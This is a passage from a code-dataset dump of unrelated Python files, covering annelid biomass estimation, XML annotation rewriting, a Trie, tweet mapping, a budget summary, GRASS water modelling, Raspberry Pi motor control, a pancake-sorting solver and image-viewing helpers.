coding: utf-8\n\n# In[1]:\n\n# Load dependencies\nimport pandas as pd\nimport numpy as np\nfrom scipy.stats import gmean\nimport sys\nsys.path.insert(0, '../../statistics_helper/')\nfrom excel_utils import *\n\n\n# # Estimating the biomass of Annelids\n# To estimate the total biomass of annelids, we rely on data collected in a recent study by [Fierer et al.](http://dx.doi.org/10.1111/j.1461-0248.2009.01360.x). Fierer et al. collected data on the biomass density of two major groups on annelids (Enchytraeids & Earthworms) in different biomes. Here is a sample from the data:\n\n# In[2]:\n\n# Load the data taken from Fierer et al.\ndata = pd.read_excel('annelid_biomass_data.xlsx','Fierer',skiprows=1)\ndata\n\n\n# For each biome, Fierer et al. provides an estimate of the average biomass density and the median biomass density. We generate two estimates for the total biomass of annelids, one based on average biomass densities and one based on median biomass densities. The estimate based on the average biomass density is more susceptible to sampling bias, as even a single measurement which is not characteristic of the global population (such as samples which are in non-natural conditions, or samples which have some technical biases associated with them) might shift the average biomass density significantly. On the other hand, the estimate based on median biomass densities might underestimate global biomass as it will reduce the effect of biologically relevant high biomass concentrations. As a compromise between these two caveats, we chose to use as our best estimate the geometric mean of the estimates from the two methodologies.\n# \n# For each biome, we multiply the sum of the biomass density of Enchytraeids and Earthworms by the total area of that biome taken from the book [Biogeochemistry: An analysis of Global Change](https://www.sciencedirect.com/science/book/9780123858740) by Schlesinger & Bernhardt.:\n\n# In[3]:\n\n# Load biome area data\narea = pd.read_excel('annelid_biomass_data.xlsx','Biome area', skiprows=1, index_col='Biome')\n\n# For each biome sum the total biomass density of annelids\ntotal_biomass_density = data.groupby('Biome').sum()\n\n# Calculate the total biomass of annelids based on average or median biomass densities\ntotal_biomass_mean = (total_biomass_density['Average biomass density [g C m^-2]']*area['Area [m^2]']).sum()\ntotal_biomass_median = (total_biomass_density['Median biomass density [g C m^-2]']*area['Area [m^2]']).sum()\n\nprint('The total biomass of annelids based on Fierer et al. based on average biomass densities is %.1f Gt C' %(total_biomass_mean/1e15))\nprint('The total biomass of annelids based on Fierer et al. based on median biomass densities is %.2f Gt C' %(total_biomass_median/1e15))\ntotal_biomass_density\n\n\n# The data in Fierer et al. does not account two biomes - croplands and tropical savannas. To estimate the biomass contribution of annelids from those biomes, we collected data from the literature on the biomass density of annelids (mostly earthworms) from these biomes. The data we collected is provided below:\n\n# In[4]:\n\nsupp_biome_data = pd.read_excel('annelid_biomass_data.xlsx','Supplementary biomes')\nsupp_biome_data\n\n\n# For each biome, we calculate the average and median annelid biomass density, and multiply by the total area of the biome:\n\n# In[5]:\n\n# Calculate average and median biomass densities for each additional biome\nmean_supp_biome_biomass_density = supp_biome_data.groupby('Biome').mean()['Biomass density [g C m^-2]']\nmedian_supp_biome_biomass_density = supp_biome_data.groupby('Biome').median()['Biomass density [g C m^-2]']\n\n\n# We do no know the specifc division in terms of area between pastures and savanna. We thus make two estimates - one assumes the entire area of tropical savannas is filled with savanna, and the second assumes the entire area is pastures. We generate four estimates - median and mean-based estimates with considering only savanna or pastures. As our best estimate for the total biomass of soil annelids, we use the geometric mean of those four estimates:\n\n# In[6]:\n\n# Consider only savanna\nall_savanna_area = area.copy()\nall_savanna_area.loc['Native tropical savanna', 'Area [m^2]'] *=2\nall_savanna_area.loc['Tropical pastures', 'Area [m^2]'] =0\nall_savanna_mean = total_biomass_mean + (mean_supp_biome_biomass_density*all_savanna_area['Area [m^2]']).sum()\nall_savanna_median = total_biomass_median + (median_supp_biome_biomass_density*all_savanna_area['Area [m^2]']).sum()\n\n# Consider only pastures\nall_pastures_area = area.copy()\nall_pastures_area.loc['Native tropical savanna', 'Area [m^2]'] =0\nall_pastures_area.loc['Tropical pastures', 'Area [m^2]'] *=2\nall_pastures_mean = total_biomass_mean + (mean_supp_biome_biomass_density*all_pastures_area['Area [m^2]']).sum()\nall_pastures_median = total_biomass_median + (median_supp_biome_biomass_density*all_pastures_area['Area [m^2]']).sum()\n\n# Calculate the geometric mean of the average-based and median-based estimates\nbest_estimate = gmean([all_pastures_median,all_pastures_mean,all_savanna_mean,all_savanna_median])\n\n\nprint('Our best estimate for the biomass of annelids is %.1f Gt C' %(best_estimate/1e15))\n\n\n# # Estimating the total number of annelids\n# We consider only the Enchytraeids as they are ≈200-fold smaller than earthworms (Fierer et al.). We calculate the total biomass of Enchytraeids and divide it by the carbon content of Enchytraeids, which is ≈25 µg C (Fierer et al.):\n\n# In[7]:\n\nnum_data = data.set_index('Biome')\n# Calculate the total biomasss of Enchytraeids based on mean and median biomass densities\nmean_ench_biomass = (num_data[num_data['Taxon'] == 'Enchytraeids']['Average biomass density [g C m^-2]']*area['Area [m^2]']).sum()\nmedian_ench_biomass = (num_data[num_data['Taxon'] == 'Enchytraeids']['Median biomass density [g C m^-2]']*area['Area [m^2]']).sum()\n\n# Calculate the geometric mean of both biomass estimates\nench_biomass = gmean([mean_ench_biomass, median_ench_biomass])\n\n# The carbon content of Enchytraeids from Fierer et al.\nench_carbon_content = 25e-6\n\n# Calculate the total number of Enchytraeids\ntot_ench_num = ench_biomass/ench_carbon_content\n\nprint('Our best estimate for the total number of Enchytraeids is ≈%.0e' % tot_ench_num)\n\n\n# In[8]:\n\n# Feed results to the animal biomass data\nold_results = pd.read_excel('../animal_biomass_estimate.xlsx',index_col=0)\nresult = old_results.copy()\nresult.loc['Annelids',(['Biomass [Gt C]','Uncertainty'])] = (best_estimate/1e15,np.nan)\nresult.to_excel('../animal_biomass_estimate.xlsx')\n\n# Feed results to Table 1 & Fig. 1\nupdate_results(sheet='Table1 & Fig1', \n row=('Animals','Annelids'), \n col=['Biomass [Gt C]', 'Uncertainty'],\n values=[best_estimate/1e15,None],\n path='../../results.xlsx')\n\n\n# Feed results to Table S1\nupdate_results(sheet='Table S1', \n row=('Animals','Annelids'), \n col=['Number of individuals'],\n values=tot_ench_num,\n path='../../results.xlsx')\n\n","sub_path":"animals/annelids/annelids.py","file_name":"annelids.py","file_ext":"py","file_size_in_byte":7037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"484000817","text":"import xml.etree.ElementTree as ET\nimport pprint\nimport argparse\nimport os\nimport glob\nfrom collections import Counter\nimport xml.dom.minidom as md\nimport time\nfrom tqdm import tqdm\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-ff', '--test', type=str, default='./dataset/yolo')\n\nargs = parser.parse_args()\n\n#xmlファイル読み込み\ndef xmlopen():\n xml_list = glob.glob(os.path.join(args.test, '**' ,'supervised', '*.xml'))\n #xml_list = glob.glob(os.path.join(args.test,'label' ,'*.xml'))\n #print(xml_list)\n \n return xml_list\n\n#value検索\ndef valuesearch(xml_list):\n for xml_path in tqdm(xml_list):\n time.sleep(0.000001)\n tree = ET.parse(xml_path)\n #root\n b_root = tree.getroot()\n #porygon削除、categoryのtype,language削除\n a_root = create_xml(xml_path,b_root)\n a_tree = ET.ElementTree(a_root)\n a_tree.write(xml_path, encoding=\"utf-8\")\n\"\"\"\n--------------------------------------------------------------------------------------------\n\nxmlファイルを作成\n\n--------------------------------------------------------------------------------------------\n\"\"\"\ndef create_xml(xml_path, befor_root):\n root = ET.Element('annotation')\n # folderを追加する \n folder = ET.SubElement(root, 'folder') \n filename = ET.SubElement(root, 'filename')\n # pathを追加する \n path = ET.SubElement(root, 'path')\n # sourceを追加する \n soource = ET.SubElement(root, 'soource')\n database = ET.SubElement(soource, 'database')\n # sizeを追加する \n size = ET.SubElement(root, 'size') \n width = ET.SubElement(size, 'width')\n height = ET.SubElement(size, 'height')\n depth = ET.SubElement(size, 'depth')\n # segmentedを追加する \n segmented = ET.SubElement(root, 'segmented')\n\n folder.text = befor_root.find('folder').text\n filename.text = befor_root.find('filename').text\n #path.text = xml_path\n database.text = 'The VOC2007 Database'\n width.text = befor_root.find('.//size/width').text\n height.text = befor_root.find('.//size/height').text\n depth.text = '0'\n segmented.text = befor_root.find('segmented').text\n\n for d in befor_root.findall('.//object'):\n # object \n obj = ET.SubElement(root, 'object')\n pos = ET.SubElement(obj, 'pos')\n pos.text = d.find('pos').text\n truncated = ET.SubElement(obj, 'truncated')\n truncated.text = '1'\n difficult = ET.SubElement(obj, 'difficult')\n difficult.text = d.find('difficult').text\n bndbox = ET.SubElement(obj, 'bndbox')\n xmin = ET.SubElement(bndbox, 'xmin')\n xmin.text = d.find('.//bndbox/xmin').text\n ymin = ET.SubElement(bndbox, 'ymin')\n ymin.text = d.find('.//bndbox/ymin').text\n xmax = ET.SubElement(bndbox, 'xmax')\n xmax.text = d.find('.//bndbox/xmax').text\n ymax = ET.SubElement(bndbox, 'ymax')\n ymax.text = d.find('.//bndbox/ymax').text\n #polygon\n polygon = ET.SubElement(obj, 'polygon')\n #polygon_num = ET.SubElement(polygon, 'num')\n #polygon_num.text = d.find('.//polygon/num').text\n point_b = d.findall('.//polygon/point')\n for poin in point_b:\n point_a = ET.SubElement(polygon, 'point')\n point_x = ET.SubElement(point_a, 'x')\n point_x.text = poin.find('x').text\n point_y = ET.SubElement(point_a, 'y')\n point_y.text = poin.find('y').text \n # category\n category = ET.SubElement(obj, 'category')\n typee = ET.SubElement(category, 'type')\n #typee.text = d.find('.//category/type').text\n value = ET.SubElement(category, 'value')\n value.text = d.find('.//category/value').text\n language = ET.SubElement(category, 'language')\n #language.text = d.find('.//category/language').text\n\n\n\n #tree = ET.ElementTree(root)\n #tree.write(xml_path)\n indent(root)\n return root\n #writeXml(root,xml_path)\n\n\"\"\"\n--------------------------------------------------------------------------------------------\n\nxmlファイル書き込む\n\n--------------------------------------------------------------------------------------------\n\"\"\"\ndef writeXml(xmlRoot, path):\n \n encode = \"utf-8\"\n \n xmlFile = open(path, \"w\")\n \n document = md.parseString(ET.tostring(xmlRoot, encode))\n \n document.writexml(\n xmlFile,\n encoding = encode,\n newl = \"\\n\",\n indent = \"\",\n addindent = \" \"\n )\n#xml書き込み改行\ndef indent(elem, level=0):\n i = \"\\n\" + level*\" \"\n if len(elem):\n if not elem.text or not elem.text.strip():\n elem.text = i + \" \"\n if not elem.tail or not elem.tail.strip():\n elem.tail = i\n for elem in elem:\n indent(elem, level+1)\n if not elem.tail or not elem.tail.strip():\n elem.tail = i\n else:\n if level and (not elem.tail or not elem.tail.strip()):\n elem.tail = i\ndef copy():\n print('') \n\nif __name__ == '__main__':\n xml_list = xmlopen()\n valuesearch(xml_list)\n","sub_path":"file/xml_smart_yolo.py","file_name":"xml_smart_yolo.py","file_ext":"py","file_size_in_byte":5226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"254641266","text":"class TrieNode:\n # Initialize your data structure here.\n def __init__(self):\n self.end = False\n self.children = {}\n \n\nclass Trie:\n\n def __init__(self):\n self.root = TrieNode()\n\n # @param {string} word\n # @return {void}\n # Inserts a word into the trie.\n def insert(self, word):\n p = self.root\n for char in word:\n if char not in p.children:\n p.children[char] = TrieNode()\n p = p.children[char]\n p.end = True\n\n\n # @param {string} word\n # @return {boolean}\n # Returns if the word is in the trie.\n def search(self, word):\n p = self.root\n for char in word:\n if char not in p.children:\n return False\n p = p.children[char]\n if p.end:\n return True\n else:\n return False\n\n\n # @param {string} prefix\n # @return {boolean}\n # Returns if there is any word in the trie\n # that starts with the given prefix.\n def startsWith(self, prefix):\n p = self.root\n for char in prefix:\n if char not in p.children:\n return False\n p = p.children[char]\n return True\n\n# Your Trie object will be instantiated and called as such:\n# trie = Trie()\n# trie.insert(\"somestring\")\n# print trie.startsWith(\"somes\")\n# print trie.search(\"somestring\")\n# print trie.search('dd')","sub_path":"implement-trie-prefix-tree.py","file_name":"implement-trie-prefix-tree.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"494807674","text":"from connection.mongodb.mongodbConnection import collection\nfrom mpl_toolkits.basemap import Basemap\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport time\nimport sched\n\nfrom pymongo import MongoClient\n\nclient = MongoClient(\"localhost\", 27017)\ndb = client.twitter\n\n# Set a title\nplt.title(\"Tweet's around the world\")\n\n# Declare map projection, size and resolution\nmap = Basemap(projection='merc',\n llcrnrlat=-80,\n urcrnrlat=80,\n llcrnrlon=-180,\n urcrnrlon=180,\n lat_ts=20,\n resolution='l')\n\n#Fill the globe with a blue color\nmap.drawmapboundary(fill_color='aqua')\n#Fill the continents with the land color\nmap.fillcontinents(lake_color='aqua')\nmap.drawcoastlines()\n\nplt.ion()\n\nplt.show()\n\n#def runX():\nresult = db.tweets.find({\"coordinates\":{\"$ne\" :None}},{\"coordinates.coordinates\":1,\"_id\":0})\ndf = pd.DataFrame(columns=('longitude', 'latitude'))\n\nfor x in result:\n df.loc[len(df)] = (x['coordinates']['coordinates'][0],x['coordinates']['coordinates'][1])\n x,y = map(x['coordinates']['coordinates'][0],x['coordinates']['coordinates'][1])\n map.plot(x,y,'ro', markersize=2)\n plt.draw()\n","sub_path":"connection/twitter/testbasemap.py","file_name":"testbasemap.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"385605274","text":"# # Option 1: PyBank\n\nprint('Financial Analysis')\nprint('----------------------------')\n\n# read the csv\nfn = 'budget_data_2.csv'\nf = open(fn)\nall_data = f.read()\nf.close()\n\nlist_of_lines = all_data.split('\\n')\n# remove headers\nheaders = list_of_lines.pop(0)\n\n# The total number of months included in the dataset\n# remove blanks lines\nfor row_number, line in enumerate(list_of_lines):\n if line == '':\n del(list_of_lines[row_number])\n\nnum_months = len(list_of_lines)\nprint('Total Months:', num_months)\n\n\n# The total amount of revenue gained over the entire period\n# get the revenues from each line\ntotal_revenue = 0\ndates = []\nrevenues = []\nfor line in list_of_lines:\n # line is 'date,revenue'\n items_list = line.split(',')\n date = items_list[0] # 1st col is date\n dates.append(date)\n revenue_string = items_list[1] # 2nd column\n revenue = int(revenue_string)\n revenues.append(revenue) # add to list\n total_revenue += revenue\n \nprint('Total Revenue: $%d' % revenue)\n\n# The average change in revenue between months over the entire period\nrevenue_changes = []\nfor row_number, revenue in enumerate(revenues):\n if row_number == 0:\n continue\n change = revenue - revenues[row_number - 1]\n #print('44 change', change, ' rev:', revenue, ' prev rev', revenues[row_number-1])\n revenue_changes.append(change)\n \n# calc average change in revenue\navg_change = sum(revenue_changes) / len(revenue_changes)\n#print('sum of changes', sum(revenue_changes))\nprint('Average Revenue Changes: $%6.2f' % avg_change)\n\n# The greatest increase in revenue (date and amount) over the entire period\nlargest_change = 0\nlargest_change_row_number = None\nfor row_number, change in enumerate(revenue_changes):\n if change > largest_change:\n largest_change = change\n largest_change_row_number = row_number\n\ndate_of_largest_change = dates[largest_change_row_number]\n\nprint('Greatest Increase in Revenue: %s $(%0.2f)' % (date_of_largest_change, largest_change) )\n\n# The greatest decrease in revenue (date and amount) over the entire period\nlargest_decrease = 0\nlargest_decr_row_number = None\nfor row_number, change in enumerate(revenue_changes):\n if change < largest_decrease:\n largest_decrease = change\n largest_decr_row_number = row_number\n\ndate_of_largest_decrease = dates[largest_decr_row_number]\n\nprint('Greatest Increase in Revenue: %s $(%0.2f)' % (date_of_largest_decrease, largest_decrease) )","sub_path":"03python/Py-Bank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"250272091","text":"import grass.script as gs\nfrom grass.exceptions import CalledModuleError\nfrom tangible_utils import get_environment\n\nimport analyses\n\n\ndef run_contours(scanned_elev, env, **kwargs):\n info = gs.raster_info(scanned_elev)\n interval = (info[\"max\"] - info[\"min\"]) / 20.0\n gs.run_command(\n \"r.contour\",\n input=scanned_elev,\n output=\"contours\",\n step=interval,\n flags=\"t\",\n env=env,\n )\n\n\ndef run_water(scanned_elev, env, **kwargs):\n # simwe\n analyses.simwe(\n scanned_elev=scanned_elev, depth=\"depth\", rain_value=300, niterations=5, env=env\n )\n gs.write_command(\n \"r.colors\",\n map=\"depth\",\n rules=\"-\",\n stdin=\"0.001 0:128:0\\n0.05 0:255:255\\n0.1 0:127:255\\n0.5 0:0:255\\n10 0:0:0\",\n env=env,\n )\n\n # ponds\n try:\n analyses.depression(\n scanned_elev=scanned_elev, new=\"ponds\", repeat=3, filter_depth=0, env=env\n )\n except CalledModuleError:\n return\n","sub_path":"czu_sample/water.py","file_name":"water.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"637484768","text":"#-*- coding: utf-8 -*-\n\nfrom django.http import HttpResponsePermanentRedirect\nfrom django.conf import settings\n\nclass Domain_transMiddleware(object):\n def process_request(self, request):\n base_url = settings.BASE_URL\n domain = settings.DOMAIN\n if request.META['SERVER_NAME']!='localhost' and request.META['SERVER_NAME']!=domain:\n if request.META['QUERY_STRING']:\n new_url = base_url + request.path +'?'+ request.META['QUERY_STRING']\n else:\n new_url = base_url + request.path\n return HttpResponsePermanentRedirect(new_url)\n","sub_path":"common/domain_trans.py","file_name":"domain_trans.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"215731224","text":"import RPi.GPIO as GPIO\nfrom time import sleep\n\nclass MotorSeigyo:\n def __init__(self):\n # GPIOのポートを指定\n self.L_VREF = 16\n self.L_IN1 = 20\n self.L_IN2 = 21\n\n self.R_VREF = 13\n self.R_IN1 = 19\n self.R_IN2 = 26\n\n self.motor_ports = [\n [self.L_IN2, self.L_IN1], # IN1とIN2の位置を入れ替えて回転を逆にしている\n [self.R_IN1, self.R_IN2],\n [self.L_VREF,self.R_VREF]\n ]\n\n # GPIOの初期設定 \n GPIO.setmode(GPIO.BCM)\n for ports in self.motor_ports:\n # print(ports)\n GPIO.setup(ports, GPIO.OUT)\n\n # モーターを回す\n # 回転速度を指定\n self.pwm_l = GPIO.PWM(self.L_VREF, 50)\n self.pwm_r = GPIO.PWM(self.R_VREF, 50)\n\n # モーターを制御する関数を定義\n def set_motor(self, pno, job):\n self.pwm_l.start(100)\n self.pwm_r.start(100)\n ta_switch = [\n [0, 0], # 停止\n [1, 0], # 時計回り\n [0, 1]] # 反時計回り\n # print(\"pno: {}, job: {}\".format(self.motor_ports[pno], ta_switch[job]))\n GPIO.output(self.motor_ports[pno], ta_switch[job])\n\n \n # 両方のモーター制御\n def set_motor2(self,job):\n # print(job)\n if \"直進\" == job:\n self.set_motor(0, 1)\n self.set_motor(1, 1)\n elif\"後退\" == job:\n self.set_motor(0, 2)\n self.set_motor(1, 2)\n elif \"左\" == job:\n self.set_motor(0, 1)\n self.set_motor(1, 2)\n elif \"右\" == job:\n self.set_motor(0, 2)\n self.set_motor(1, 1)\n elif \"停止\" == job:\n self.set_motor(0, 0)\n self.set_motor(1, 0)\n\nif __name__ == \"__main__\":\n try:\n Mot = MotorSeigyo()\n while True:\n Mot.set_motor2(\"直進\") # 前へ\n sleep(1.5)\n Mot.set_motor2(\"後退\") # 後ろへ\n sleep(1.5)\n Mot.set_motor2(\"左\") # 左旋回\n sleep(1.5)\n Mot.set_motor2(\"右\") # 右旋回\n sleep(1.5)\n Mot.set_motor2(\"停止\") # 停止\n sleep(1.5)\n except KeyboardInterrupt:\n pass\n GPIO.cleanup()","sub_path":"motor_move/motor2.py","file_name":"motor2.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"265363922","text":"import itertools\r\nimport xml.etree.ElementTree as ET\r\noriginal = []\r\n\r\ndef start(pancakes,case):\r\n answer = []\r\n Pn = 0\r\n for e in itertools.permutations(pancakes):\r\n rta = flips(list(e))\r\n Pn = max(Pn,rta[0])\r\n answer.append([''.join(map(str,list(reversed(e)))),rta[0],''.join(map(str,rta[1]))])\r\n \r\n root = ET.Element(\"Pancakes\")\r\n for rta in answer:\r\n ET.SubElement(root, \"case\", permutation=rta[0],flips=rta[2])\r\n\r\n tree = ET.ElementTree(root)\r\n tree.write(\"Pancakes\"+str(case)+\".xml\")\r\n\r\ndef flips(pancakes):\r\n level = []\r\n steps = 0\r\n if pancakes == original:\r\n return [steps,[\"\"]]\r\n while True:\r\n steps+=1\r\n level_old = level[:]\r\n level = []\r\n if steps <= 1:\r\n for i in xrange(len(pancakes)-1):\r\n pan = pancakes[:i]+list(reversed(pancakes[i:]))\r\n level.append([pan,[i]])\r\n if pan == original:\r\n return [steps,[i]]\r\n else:\r\n for e in level_old:\r\n\r\n for i in xrange(len(e[0])-1):\r\n if e[1][-1]!=i:\r\n pan = e[0][:i]+list(reversed(e[0][i:]))\r\n level.append([pan,e[1]+[i]])\r\n if pan == original:\r\n return [steps,e[1]+[i]]\r\n\r\n\r\n\r\nN = 2\r\noriginal = range(N,0,-1)\r\nstart(original,N)\r\n\r\nN = 3\r\noriginal = range(N,0,-1)\r\nstart(original,N)\r\n\r\nN = 4\r\noriginal = range(N,0,-1)\r\nstart(original,N)\r\n\r\nN = 5\r\noriginal = range(N,0,-1)\r\nstart(original,N)","sub_path":"Taller 0/XML/Pancakes1Flip - XML.py","file_name":"Pancakes1Flip - XML.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"486433742","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom skimage.data import binary_blobs\nfrom matplotlib.gridspec import GridSpec\nimport sys\nfrom skimage import io\nimport scipy.io\nfrom scipy.stats import iqr\n\ndef stack_viewer(image):\n\t'''\n\tModule to allow for scrolling through a 3d stack image modified from the following source:\n\thttps://matplotlib.org/gallery/animation/image_slices_viewer.html\n\n\t:param image: [np.ndarray] 3d stack image for viewing\n\t'''\n\ttry:\n\t\tz,x,y = image.shape\n\texcept ValueError:\n\t\traise Exception(\"Improper dimensions, non-stack Image {}\".format(image.shape))\n\n\n\tclass IndexTracker(object):\n\t\tdef __init__(self, axes, image_stack):\n\t\t\tself.axes = axes\n\t\t\taxes.set_title('scroll to navigate images')\n\n\t\t\tself.image_stack = image_stack\n\t\t\tself.slices, rows, cols = image_stack.shape\n\t\t\tself.start_index = self.slices//2\n\n\t\t\tself.im = axes.imshow(self.image_stack[self.start_index,:, :])\n\t\t\tself.update()\n\n\t\tdef onscroll(self, event):\n\t\t\t# print(\"%s %s\" % (\tevent.button, event.step))\n\t\t\tif event.button == 'up':\n\t\t\t\tself.start_index = (self.start_index + 1) % self.slices\n\t\t\telse:\n\t\t\t\tself.start_index = (self.start_index - 1) % self.slices\n\t\t\tself.update()\n\n\t\tdef update(self):\n\t\t\tself.im.set_data(self.image_stack[ self.start_index,:, :])\n\t\t\taxes.set_ylabel('slice %s' % self.start_index)\n\t\t\tself.im.axes.figure.canvas.draw()\n\n\tfig, axes = plt.subplots(1, 1)\n\n\ttracker = IndexTracker(axes, image)\n\tfig.canvas.mpl_connect('scroll_event', tracker.onscroll)\n\tplt.show()\n\n\n## 2d Stuff below here\ndef view_2d_img(img, save = False):\n\t'''Displays a single 2d image\n\n\t:param img: [np.ndarray] image for viewing\n\t:param save: [bool] save image or not\n\t'''\n\tfig = plt.figure()\n\tplt.imshow(img)\n\tif not save:\n\t\tplt.show()\n\telse:\n\t\tplt.savefig(\"asdf.png\")\n\t\t# plt.close()\n\n\ndef make_ticklabels_invisible(fig):\n\t'''Helper function for montage_n_x, removes tick labels\n\thttps://matplotlib.org/users/gridspec.html\n\n\t:param fig: [matplotlib.fig] figure to have tick labels removed\n\t'''\n\tfor i, ax in enumerate(fig.axes):\n\t\tax.text(0.5, 0.5, \"ax%d\" % (i + 1), va = \"center\", ha = \"center\")\n\t\tfor tl in ax.get_xticklabels() + ax.get_yticklabels():\n\t\t\ttl.set_visible(False)\n\n\ndef montage_n_x(*tuple_img_line):\n\t'''Function takes a tuple of images to show a progression of images at each step in a processing\n\tpipeline.\n\tMultiple pipelines are displayed as individual rows, with each tuple submitted to the function\n\trepresenting a single pipeline.\n\n\t:param *tuple_img_line: [tuple] of images to be displayed in a row\n\t'''\n\tnum_rows = len(tuple_img_line)\n\tnum_cols = 0;\n\tfor lines in tuple_img_line:\n\t\tif len(lines) > num_cols:\n\t\t\tnum_cols = len(lines)\n\t# plt.figure()\n\tgrid = GridSpec(num_rows, num_cols)\n\tfor row in range(num_rows):\n\t\tfor col in range(num_cols):\n\t\t\ttry:\n\t\t\t\tplt.subplot(grid[row,col])\n\t\t\t\tproperties(tuple_img_line[row][col])\n\t\t\t\tplt.imshow(tuple_img_line[row][col])\n\t\t\texcept IndexError:\n\t\t\t\tprint(\"Exceed index\")\n\t\t\t\tbreak\n\t\tprint(\"\\n\")\n\tmake_ticklabels_invisible(plt.gcf())\n\tplt.show()\n\n\ndef plot_contour(points):\n\t'''\n\tGiven a set of points in the format:\n\t\t[[1,2]\n\t\t [1,2]\n\t\t [3,2]\n\t\t [4,3]]]\n\tplots the points in 2d space.\n\t:param points: [list] of [list]\n\t'''\n\tplt.plot(points[:, 0], points[:, 1])\n\tplt.show()\n\n\ndef points2img(points):\n\t'''\n\tGiven a set of points in the format:\n\t\t[[1,2]\n\t\t [1,2]\n\t\t [3,2]\n\t\t [4,3]]]\n\tCreates an image of the points. (2d Numpy array)\n\t:param points: [list] of [list]\n\t:return: [np.ndarray]\n\t'''\n\tx_data = points[:, 0]\n\ty_data = points[:, 1]\n\tx_dim = int(np.ceil(np.amax(x_data) - np.amin(x_data)) + 1)\n\ty_dim = int(np.ceil(np.amax(y_data) - np.amin(y_data)) + 1)\n\timg = np.zeros((x_dim, y_dim))\n\tx_data = [int(np.floor(i)) - int(np.amin(x_data)) for i in x_data]\n\ty_data = [int(np.floor(j)) - int(np.amin(y_data)) for j in y_data]\n\n\timg[x_data, y_data] = 1\n\treturn img\n\n\ndef render_contours(background, contour_list):\n\t'''Helper function for displaying contours detected in an image\n\n\t:param background: [np.ndarray] original image to show background\n\t:param contour_list: [list] list of contour locations and points\n\t'''\n\tfig, ax = plt.subplots()\n\tax.imshow(background, interpolation = 'nearest', cmap = plt.cm.gray)\n\tfor n, contour in enumerate(contour_list):\n\t\tax.plot(contour[:, 1], contour[:, 0], linewidth=2)\n\tplt.show()\n\n\ndef location(points):\n\t'''\n\tGiven a set of points, determine what square in the image they lie in\n\n\t:param points: [list] of [list]\n\t'''\n\tx_data = points[:, 1]\n\ty_data = points[:, 0]\n\ttop_left_x = int(np.ceil(np.amin(x_data)))\n\ttop_left_y = int(np.ceil(np.amin(y_data)))\n\tbot_rite_x = int(np.ceil(np.amax(x_data)))\n\tbot_rite_y = int(np.ceil(np.amax(y_data)))\n\n\treturn top_left_x, top_left_y, bot_rite_x, bot_rite_y\n\n\ndef img_px_histogram(image, nbins = None):\n\t'''\n\tPlots an image's pixel intensity distribution, takes in a 2d/3d image\n\n\t:param data: [list]\n\t:param nbins: [int] number of bins for histogram\n\t'''\n\tif not nbins:\n\t\tnbins = int(2 * iqr(image.flatten()) * (len(image.flatten()) ** (1/3)))\n\tn, bins, patches = plt.hist(image.flatten(), nbins)\n\tplt.show()\n\tplt.xlabel('Pixel Intensity')\n\tplt.ylabel('Count')\n\n\ndef px_hist_stats_n0(image):\n\t'''Gets the values of each px within an image and calulates the mean px intensity and standard deviation\n\tDoes not count px that have a value of 0\n\n\t:param image: [np.ndarray]\n\t:return: [float], [float]; mean and standard deviation\n\t'''\n\tdata = image.flatten()\n\tf_data = [s for s in data if s != 0]\n\treturn np.mean(f_data), np.std(f_data)\n\n\ndef px_stats(image):\n\t'''Gets the values of each px within an image and calulates the mean px intensity and standard deviation\n\tDoes count px that have a value of 0\n\n\t:param image: [np.ndarray]\n\t:return: [float], [float]; mean and standard deviation\n\t'''\n\tdata = image.flatten()\n\treturn np.mean(data), np.std(data)\n\n\ndef global_max(img_2d):\n\t'''Returns the maximum pixel value within a 2-3d image'''\n\treturn np.amax(img_2d.flatten())\n\n\ndef global_min(img_2d):\n\t'''\n\tReturns the minimum pixel value within a 2-3d image\n\t'''\n\treturn np.amin(img_2d.flatten())\n\n\ndef properties(image):\n\t'''Prints some of an image's properties into the console directly'''\n\tprint(\">Image Properties\")\n\tprint(\"Dimensions: {}\".format(image.shape))\n\tprint(\"Format: {}\".format(image.dtype.name))\n\tprint(\"Global Max: {}\\tGlobal Min: {}\".format(global_max(image), global_min(image)))\n\nif __name__ == \"__main__\":\n\t'''Generates a 3d image of binary blobs and then runs the viewer.\n\t'''\n\t# test_image = binary_blobs(length = 200,\n\t# \t\t\t\t\t\t\tblob_size_fraction = 0.1,\n\t# \t\t\t\t\t\t\tn_dim = 3,\n\t# \t\t\t\t\t\t\tvolume_fraction = 0.3,\n\t# \t\t\t\t\t\t\tseed = 1)\n\t# stack_viewer(test_image)\n\tinput = sys.argv\n\t# image = io.imread(input[-1])\n\timage = scipy.io.loadmat(input[-1])\n\timage = image['data']\n\tstack_viewer(image)\n","sub_path":"lib/render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":6759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"401715140","text":"import pandas as pd\nfrom pandasql import sqldf\npysqldf = lambda q: sqldf(q, globals())\n\n\nrange_1 = pd.read_csv('~/Documents/housing_prices/data/London Year_1995-2000.csv')\nrange_2 = pd.read_csv('~/Documents/housing_prices/data/London Year_2001-2006.csv')\nrange_3 = pd.read_csv('~/Documents/housing_prices/data/London Year_2007-2012.csv')\n\nhousing_data = range_1.append(range_2.append(range_3))\n\nnum_boroughs = psql.sqldf(\"SELECT * FROM housing_data LIMIT 10;\", 